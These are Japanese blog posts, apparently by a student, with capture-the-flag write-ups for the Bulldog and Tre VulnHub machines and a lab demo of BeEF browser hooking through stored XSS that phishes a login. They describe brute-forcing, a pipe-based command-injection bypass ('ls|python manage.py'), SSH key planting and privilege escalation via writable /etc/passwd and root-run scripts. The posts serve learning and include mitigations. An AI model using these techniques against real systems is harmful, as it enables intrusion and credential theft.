これでシェルと取る編は終了です。次は権限昇格ですね。

 

 

権限昇格編

色々と調べてみると /etc/passwd が書き込み可能ファイルである事が分かりました。

書き込み可能な/etc/passwd ?!

 

これは大変なことですよ。やりたい放題出来てしまいます。

 

とりあえずユーザIDが0、つまり管理者アカウントと等しいような偽のアカウントを作成します。

/etc/passwd に偽のアカウントを追記

 

これで su コマンドを用いて偽のアカウントに切り替えると......?

管理者権限の取得!!

 

管理者権限がとれてしまいました。

 

 

これで権限昇格編も終了です。

 

 

振り返りと対策など

今回のシェルを取る編では SQL injection が悪用されたためにシェルが取られてしまったという形になります。

 

ディレクトリ名が特殊だったりとツールを使うだけではシェルの取得までは厳しかったのではないかと思いますが、それでも頑張れば自力でシェルを取るための SQL を作成出来てしまうので恐ろしいですね。

 

対策としては、やはりユーザの入力を SQL 文に直接流す実装ではなくプレースホルダなどを利用して SQL 文として解釈されなくなるような実装を行うのが良いのではないかと考えられます。

 

また、権限昇格編では /etc/passwd の権限に不備があったことが権限昇格されてしまったことの原因だと考えられます。

 

/etc/shadow などもそうですが権限の設定に不備があると一気に危険になってしまうファイルもあるため権限の変更などは慎重に行う必要がありますね。

 

 

感想

SQL injection を用いて人力でシェルをとれたのはかなり嬉しいです。

 

多くの人はツールを使って行っていますが、なぜシェルをとれるのかといった仕組みも分かっていると少しだけ格好いいですよね。

 

権限昇格に関してはかなり有名な設定不備で、多くの資料で触れられているためか中々この不備のあるマシンにであったことがないのでとても良かったですね。

 

今回も学びが多くて良かったです。

 

次回の記事がいつになるかは研究との兼ね合いもあるので未定ですが、まぁぼちぼちとやっていこうかと思います。

 

それでは、最後まで読んでいただきありがとうございました。

Browser Exploitation とか MITB とかに関しての雑な記事

目次

 

前書き

実は最近ブラウザハックという書籍を読み進めています。

 

なので、今回はそれに関連して Browser Exploitation や MITB 攻撃などに関して少し書いてみようかと思います。

 

しかし、まだ学習中の身なのでこの記事の内容のすべてが正しいとは限りません。

 

そのため記事の内容は鵜呑みにせず、信頼できる他のソースも探して参照していただけると幸いです。

 

※注意

許可の無い環境に対する攻撃は犯罪です。絶対に許可の無い環境に対して攻撃を行わないでください。

 

今回行った攻撃の流れや環境

今回は Web サーバ、被害者のマシン、そして攻撃者のマシンである3つの仮想マシンを作成して色々と試してみました。

 

それぞれ以下のようなものになっています。

  • Web サーバ(LAMP というらしい?)
  • 被害者のマシン
    • OS:Ubuntu
    • IP:10.0.2.23
    • ブラウザはデフォルトで入っていた firefox を使用
  • 攻撃者のマシン
    • OS:kali Linux
    • IP:10.0.2.18
    • BeEF(browser exploitation のツール)

 

またWeb サーバには以下の2つのサイトを用意しました。

  • test.php:データベースに値を格納するためのサイト。
  • show.php:データベースに格納された値を出力するサイト。 エスケープ処理をしていないため Stored-XSS脆弱性がある。

 

今回行った攻撃の流れとしては以下のようになります。

  1. 攻撃者が Stored-XSS のある Web サーバに被害者のブラウザを hook (被害者のブラウザを制御下に置くといった意味?)するためのコードを挿入する。
  2. 被害者が脆弱なサイトにアクセすることで被害者のブラウザが hook される(攻撃者の制御下に置かれるといった意味?)。
  3. 攻撃者が被害者のブラウザに対して攻撃コードを送信。
  4. 被害者のブラウザで攻撃コードが実行される。

 

図で表すと図1のようになります。

図1:攻撃の流れの図

 

 

実際に行った攻撃

それでは実際に攻撃を行ってみます。

 

悪意あるコードの挿入

まず初めに被害者のブラウザを hook するための悪意のあるコードを show.php に挿入しましょう。

 

図1 だと 2 列目に悪意のあるコードが挿入されています。

図2:2行目に悪意のあるコードが挿入されている

図3:開発者ツールで確認した悪意のあるコード

 

BeEF というツールを使用すると攻撃者のマシンの 3000 番ポートに BeEF のサーバが立ちます。

 

そのため、被害者のブラウザをhook する際は BeEF のサーバにある hook.js にアクセスさせればよいです。

 

被害者のブラウザを hook する

次に被害者のブラウザにに先ほど挿入したコードを実行させましょう。

 

そのために被害者に shop.php に訪れてもらいました。

 

すると攻撃者のマシンで BeEF を用いて被害者のブラウザが hook されたことが確認できます。

図4:被害者のブラウザが hook された

 

 

悪意あるコードの送信と実行

それでは悪意のある攻撃コードを被害者のブラウザで実行させましょう。

 

今回はBeEFというツールを使用して Petty Theft という攻撃を行いました。

 

今回は facebook のログイン画面を表示し、ユーザ名とパスワードを被害者に入力させます。

 

BeEF の Pretty Theft モジュールを実行すると被害者にユーザ名とパスワードの入力を促す画面が表示されます。

図5:pretty theft が実行された際の被害者のブラウザ

 

今回はユーザ名とパスワードの両方に test という値を入力して Log In をクリックしました。

 

すると攻撃者の BeEF 上で入力された値を確認することが出来ました。

図6:攻撃者の BeEF 上で被害者の入力した値が確認できる

 

 

結局 Browser Exploitation とかって何?

今回行った Pretty Theft 攻撃を見ても一体 Browser Exploitation の何が危険なのかわかりにくいですよね。

 

XSS と何が違うのかといった疑問をもった方もいるのではないでしょうか?

 

私もそこが気になったため色々と調べてみました。

 

そもそも Browser Exploitation や MITB はアプリケーション層において不正なマルウェア拡張機能などによって引き起こされます。

 

つまり、これらの攻撃は XSS などの脆弱性がなくとも悪意のある拡張機能マルウェアを用いることで攻撃が可能となってしまうと考えられます。

 

また、今回はログイン画面を表示すると言ったような JavaScript を実行させる攻撃でしたが MITB 攻撃ではユーザが POST したデータの内容を改ざんするといったような攻撃も存在します。

 

雰囲気としては Burp Suite や OWASP ZAP を用いて通信をインターセプトし内容を改ざんするといった処理に近いのではないかと感じました。

 

 

対策は?

先ほどあげたようにマルウェアや悪意のある拡張機能をダウンロードしないようにするのが有効な対策なのではないかと思います。

 

また、最新のセキュリティソフトを用いることで BeEF による攻撃を防ぐことが出来るようです。

参考:Harshil Sawant, Samuel Agaga."Web Browser Attack Using BeEF Framework". (researchgate.net)

 

 

感想

JavaScript って思ったよりも多くのことが出来るのですね。

 

MITM の攻撃で有名なマルウェアJavaScript ではありませんでしたが、拡張機能を用いた攻撃などは JavaScript で書かれているはずなので中々恐ろしいと感じました。

 

時間が出来たらもう少ししっかりと調べて補足したいと思います。

 

それでは、今回は少し短めですがこのあたりで記事を終了としたいと思います。

 

最後まで読んでくださりありがとうございました。

Bulldog を攻略した記事(writeupを含みます)

どうも皆さんこんにちは。

 

今回は Bulldog という脆弱な仮想マシンを攻略したのでその手順を書いていこうかと思います。

 

まだ攻略していない方は下記リンクからダウンロード出来るので興味があればぜひ挑戦してみてください。

 

bulldog:

www.vulnhub.com

 

 

※注意

この記事は攻撃を推奨するものではありません。また、許可を得ていない機器に対する攻撃は犯罪となるため絶対に行わないでください。

 

目次

 

シェルを取る編

いつも通りポートスキャンを行います。

ポートスキャンの結果

 

80番と8080番のポートで http のサービスが動いているみたいですね。

 

そこで、なにか面白いファイルやディレクトリがないかをツールを使って探しました。

ツールの結果

 

admin と dev というディレクトリがありました。それぞれにアクセスしてみましょう。

 

/dev にアクセスした際のスクリーンショット

/admin にアクセスした際のスクリーンショット

 

admin にアクセスするとログインページにリダイレクトされるみたいですね。

 

また、dev にアクセスすると社内向けの文章が書かれたページが表示されました。

 

さらに、dev にアクセスした際のページ下部には以下のような面白そうな情報がありました。

メールアドレス

 

これは何かに使えそうなのでメモしておきましょう。

 

また、dev のページに /dev/shell へと飛ぶことの出来るリンクがあったのでそれも確認してみました。

/dev/shell のスクリーンショット

 

権限がなさそうです。

 

先ほど見つけたログイン画面でログインすることに成功したら何かが変わりそうですね。

 

また、robots.txtもあるみたいなのでアクセスしてみたのですが、面白い情報は何一つとしてありませんでした。

robots.txt

 

dev のページに一度ハッキングされていると書いてあったので、その雰囲気作りといったところでしょうか?

 

とりあえず確認できる部分をすべて確認してみましたが、これ以上の情報は得られませんでした。

 

ログイン画面で使用できるパスワードでも見つかれば良いと思っていたのですが、ユーザ名に使えそうな情報しかなかったためこれでブルートフォース攻撃を行うのではないかと思いました。

 

しかし、ツールを使うのが下手な為ツールが上手く動きませんでした......

 

おそらくヘッダやクッキーの値の設定で詰まっていたのではないかと思います。

 

そこで、解答をチラ見してユーザ名とパスワードを確認した上でブルートフォース攻撃を行いました。(ズルですね......)

ブルートフォース攻撃

 

画像をみると bulldog の部分だけ他のレスポンスと違う事が分かりますね。

 

これはユーザ名を nick と仮定してパスワードが何かをブルートフォース攻撃を用いて調べています。(ズルでユーザ名とパスワードが分かっているのでこれを行う必要は無いのですが、悔しいので......)

 

また、辞書に用いたファイルに bulldog が入っていることも事前に確認したうえで行っています。(凄いズルい......)

 

ちなみに、今回使用したツールは burp suite というツールです。(これはセキュリティツールなので紹介します。)

 

通信を確認したり再送したり脆弱性を自動で調べたりと色々できる便利なツールです。

 

初めに注意の部分でも触れているように悪用は絶対に駄目ですが、脆弱性や通信の内容を確認するのにとても便利なのでおすすめです。

 

閑話休題、もとの話に戻ります。

 

ユーザ名とパスワードが分かったのでログインしてみましょう。

ログイン後の画面

 

このページでは特に面白い情報は見つかりませんでした。

 

では、先ほど目をつけていた /dev/shell のページにアクセスしてみましょう。

ログイン後の /dev/shell のスクリーンショット

 

どうやら限られたいくつかの OS コマンドなら実行出来るみたいです。

 

指定されていないコマンドも実行出来たら出来ることの幅が広がりますね。

 

とりあえず使用できるコマンドで色々調べていたところ、面白い情報を見つけました。

面白い情報

 

後ほど使うかも知れないのでメモしておきます。

 

さらに色々試していたところ、制限をバイパスする方法を見つけました。

制限をバイパスしてる画像

 

どうやら、パイプでコマンドを連結することで任意のコマンドを実行出来るみたいです。

(ls|python manage.py というコマンドで manage.py が実行されている。)

 

せっかくなので .ssh ディレクトリを作成し、公開鍵をその中において ssh で接続できるようにしてみました。

wget コマンドでファイルを送信

公開鍵の画像

 

ちなみにauthrized_keys は wget で公開鍵を自分のパソコンから送る際に名前を間違えてしまったもので、面倒くさくてそのまま消さずに残してしまいました......

 

このアカウントの名前が django であること(スクショしてませんが whoami コマンドで確認しました)を用いて ssh コマンドで接続すると......

 

シェルの取得!!!

 

シェルの取得に成功しました。

 

次は権限昇格編ですね。

 

権限昇格編

色々調べるツールを使用したところ、面白いファイルを見つけました。

面白いファイル

 

この中の /.hiddenAVDirectory/AVApplication.py というファイルなのですが、書き込みが可能なようです。

 

さらにこのファイルは所有者が root であるというかなり興味深いファイルでした。

面白いファイルの権限

 

このファイルにコマンドを実行するようなコードを書いた後に管理者権限でコマンドを実行出来たら権限昇格出来そうですね......

 

さらに色々調べていると、不思議な実行ファイルを発見しました。

実行ファイルの中にある不思議な文字列

 

実行は出来ないのですが、strings コマンドで調べてみると何やら怪しい文字列がありました。

 

そこで、末尾についている H を除いて文字列を繋げてみると「SUPERultimatePASSWORDyouCANTget」という文字列になりました。

 

さらに、webshell で情報を探している段階において発見した note というファイルからこの文字列は現在操作している django というアカウントのパスワードであることが推測されます。

note の内容

 

このパスワードを試してみると、確かに django のパスワードであることが確かめられました。

 

これによって sudo コマンドの実行が可能となります。

sudo コマンドが実行可能となった画像

 

せっかくなので先ほど見つけた AVApplication.py にコマンドを実行するような Python のコードを書き加えて管理者権限で実行してみました。

管理者権限で動いているかの確認

 

コードを書き換えて恒常的な管理者権限を取得できるようにします。

恒常的な管理者権限の取得

 

これで管理者権限の取得が完了しました。

 

最後にフラグを取得して終了です。

Flag の取得!!!

 

対策編

どのような対策をすれば防げるのかを考える章を書いてみようかなと思ったので今回の記事から対策編という章を追加しました。

 

まず今回の攻撃の流れを軽くおさらいします。

  1. シェルを取る編
    1. django のログイン画面においてブルートフォース攻撃による認証の突破
    2. Webshell における OS コマンドインジェクション?
  2. 権限昇格編
    1. パスワードの漏洩

 

シェルを取る編において、パスワードが突破されてしまう問題については強固なパスワードを使用するか、ブルートフォース攻撃を検知する仕組みを構築して不審な IP からのログインの試行を拒否するといった対策が有効なのではないかと思いました。

 

OS コマンドインジェクションの対策に関しては、きちんとメタ文字をエスケープすることで回避できるのではないかと思いました。

 

権限昇格編におけるパスワードの漏洩に関しては、実行ファイル内に機密情報を入れなければ良いのではないかと思いました。

 

今回の場合は、おそらく与えられたユーザ名と実行ファイル内にあるパスワードの文字列を用いて sudo コマンドを実行しているといった実行ファイルであると推測されます。

 

そのため、strings コマンドでパスワードが漏洩してしまったのではないでしょうか。

 

仮に平文ではなく、sha256 などのハッシュ関数でハッシュ化した値を格納したら安全になるのか気になりましたが、余り詳しくないのでそのような実装が安全かは分からないですね......

 

 

振り返りと感想

ブルートフォース攻撃が凄く苦手です......

 

上手く使えるようになりたいですね。

 

今回はそこまで複雑な内容ではなかったのでこれくらいで終わりにしようかと思います。

 

最後まで読んでいただきありがとうございました。

 

Tre を攻略しようとした記事(writeup を含みます)

どうも皆さんこんにちは。

 

今回は Tre という脆弱な仮想イメージの攻略に挑戦しました。

 

以下のサイトから仮想イメージをダウンロード出来るので興味があれば挑戦してみてください。

 

Tre : Tre: 1 ~ VulnHub

 

※注意

実際の攻撃手法が含まれますが、許可されていない機器に対してそれらの攻撃を仕掛けることは犯罪となるので絶対にやらないでください。

 

 

目次

 

 

シェルを取る

まずはポートスキャンを行って動いているサービスの確認を行います。

ポートスキャンの結果

 

その結果、ssh と Webサーバソフトが二つ動いていることが分かりました。

 

まず初めに、80 番ポートで動いているサイトにアクセスしてみました。

 

しかし、竹の画像が表示されているだけで得られる情報は何もありませんでした。

 

そこで、ツールを使って何か有用な情報や脆弱性がないかを調べてみました。

ツールの結果

すると、info.php を見ることが出来る事と /system/ にアクセスする際の ID とパスワードが admin,adimn であること等が分かりました。

 

そこで /system/ のベーシック認証を先ほど判明した ID とパスワードで突破すると以下のようなサイトが表示されました。

/system/ にアクセスした際に表示されたサイト

どうやらこの Web サーバでは mantis Bug Tracker というソフトが動いていることが推測されます。

 

現時点ではユーザ名やパスワードに関する情報は何一つないため、他に何か情報が無いかを探します。

 

しかし、何も見つかりませんでした。

 

そこで、もう一つの 8082 ポートで動いているサイトに関しても色々調べましたがこちらには有用な情報がほとんどありませんでした。

 

そこで色々と調べていると、Webコンテンツスキャナを使用する際に単語とファイル名(index.phpなど)がごちゃ混ぜに入っているデフォルトの辞書ではなく、単語のみ(adiminなど)が入っている辞書の末尾に拡張子をつけてスキャンを行うことで違う結果が現れるという情報を見つけました。

 

それを試してみると、adminer.php というページと mantisbt  というディレクトリを見つけることが出来ました。

 

adminer.phpにアクセスすると以下のように表示されました。

adminer.php

ログインするために必要な情報が集まっていないためとりあえず後回しにします。

 

さらに、mantisbt の中に config というディレクトリを見つけました。(前の攻略の際に面白い情報が入っていた記憶があるので重要度が高いです)

 

すると、a.txt といういかにも怪しげなファイルが中に入っていました。

a.txt

さらに、a.txt の中にはとても面白い情報が入っていました。

面白い情報

adminer.php のログインに使用できそうな情報ですね。

 

これを用いて adminer.php にログインしてみると次のように表示されました。(パスワードを変更した後にスクショしてしまったため tre と administrator のパスワードが元の値と違います。すみません......)

adminer.php でのユーザの情報

どうやらパスワードが変更できるようなので administrator と tre のパスワードを変更しました。

パスワードの変更

次に mantis Bug Tracker に administrator でログインしてみました。

 

すると mantis Bug Tracker のバージョンが 2.3.0 であることが判明しました。

 

そこで mantis Bug Tracker の バージョン 2.3.0 に何か脆弱性がないかを探してみると、 RCE の脆弱性があることが分かりました。

任意コード実行の脆弱性

参考サイト

 

mantisbt.org

www.exploit-db.com

 

この脆弱性に対する exploit を実行することでシェルの取得に成功しました。

シェルの獲得

 

権限昇格(失敗)

いつも通り色々調べるためのツールを動かして探しましたが、よい情報を見つけることが出来ませんでした。

 

そこでふと、apache のバージョンで脆弱性を探したときにローカルでの権限昇格の脆弱性があったような気がしたのを思い出しました。

cfreal.github.io

 

バージョンも合致していたのでこの脆弱性ではないかと思いこれを試してみたのですが、発火の条件がよく分からず権限昇格もうまく出来なかったため失敗してしまいました。

 

他になにかあるはずですが皆目見当がつかず今回のマシンはここで諦めてしまいました......(もっと Try Harder してください!!!!)

 

 

答え合わせ

今回はこちらの writeup を参考にしました。

www.hackingarticles.in

 

まず、シェルを取る手法が違いましたね。

 

adminer.php において tre の本名が Tr3@123456@A! となっていることから、これが ssh のパスワードであると推測しているみたいです。

 

確かにこんなにも数字と記号にまみれた文字列が名前であるはずないですね。

 

そして ssh で tre のアカウントにアクセスした後に色々調べるツールで /usr/bin/check-system というファイルに注目しています。

 

ちなみに、このファイルは私が使用したツールでも書き込み可能な怪しいファイルとして出力されていました......

書き込み可能な怪しいファイル(見落とし)

さらに、プロセスの履歴ではこのプログラムが root によって走らされていることが分かります。

 

これも私が使用したツールで出力されていました......

プロセスの履歴(見落とし)

 

このことから、/usr/bin/check-system を書き換えることによって再起動した際に管理者権限でコマンドが実行することが出来ると言えます。

 

もう何でも出来ますね。

 

こんな感じで答え合わせは終了とします。

 

 

振り返りと感想

結果的に権限昇格に失敗しているのでよくないのですが、シェルを取るまでは凄くよかったですね。

 

たぶん mantis Bug Tracker のバージョンからしてこの手法も想定解の一つだったのではないかと思っています。

 

そこまでをなんとか自力でクリアできたのはよかったですね。

 

また、 config ファイルが怪しい事に気がつけたのは今までのマシン攻略の経験を生かせている証なのでそれもよかったです。

 

権限昇格に関してはいつも通りですね。

 

でもさすがに今回は気がつくべきでしたね。

 

/usr/bin みたいなディレクトリに入っているならコマンドでしょうし、それが書き込み可能であるならばかなり怪しいと考えるべきでした。

 

プロセスに関しては仕方が無いですが、次回からきちんと確認したいですね。管理者がコマンドを実行しているならば、そのコマンドを書き換えて権限昇格に繋げるのはよく聞く手法なので。

 

管理者によって実行されるプログラムは proc 関係の方が印象深いのですが、こういう場合もあるというのはよい勉強になりました。

 

まぁ、今回はこんな感じで記事を終わりにしようかと思います。

 

最後まで読んでくださりありがとうございました。